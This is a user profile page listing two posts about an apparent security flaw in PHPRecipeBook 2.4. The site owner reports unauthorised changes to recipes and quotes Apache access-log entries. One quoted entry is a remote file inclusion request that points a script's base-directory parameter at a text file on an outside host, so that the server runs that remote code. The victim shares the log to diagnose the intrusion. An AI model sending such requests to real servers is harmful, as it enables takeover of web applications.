Kirk Bridger

What's happening?

Followup: RE: Security Flaw in 2.4

Here are some interesting access.log entries from apache: access.log.1:204.30.3.225 - - [18/Jul/2009:00:41:17 -0700] "GET /recipes/index.php?m=recipes&a=view&recipe_id=2//classes/Import_MM.class.php?g_rb_basedir=http://www.namak.go.kr//bbs/id.txt?? HTTP/1.1" 200 8790 "-" "Mozilla/5.0" access.log.1:204.30.3.225 - - [18/Jul/2009:00:41:17 -0700]...

2009-07-21 03:29:16 UTC in PHPRecipeBook
Security Flaw in 2.4

I'm running 2.4 and have found that someone has somehow added images to recipes without having an account. Hopefully the access was limited to the recipesdb and not my entire mysql database. Can I provide any logs or anything before deleting the database?.

2009-07-21 03:25:35 UTC in PHPRecipeBook

Send me a message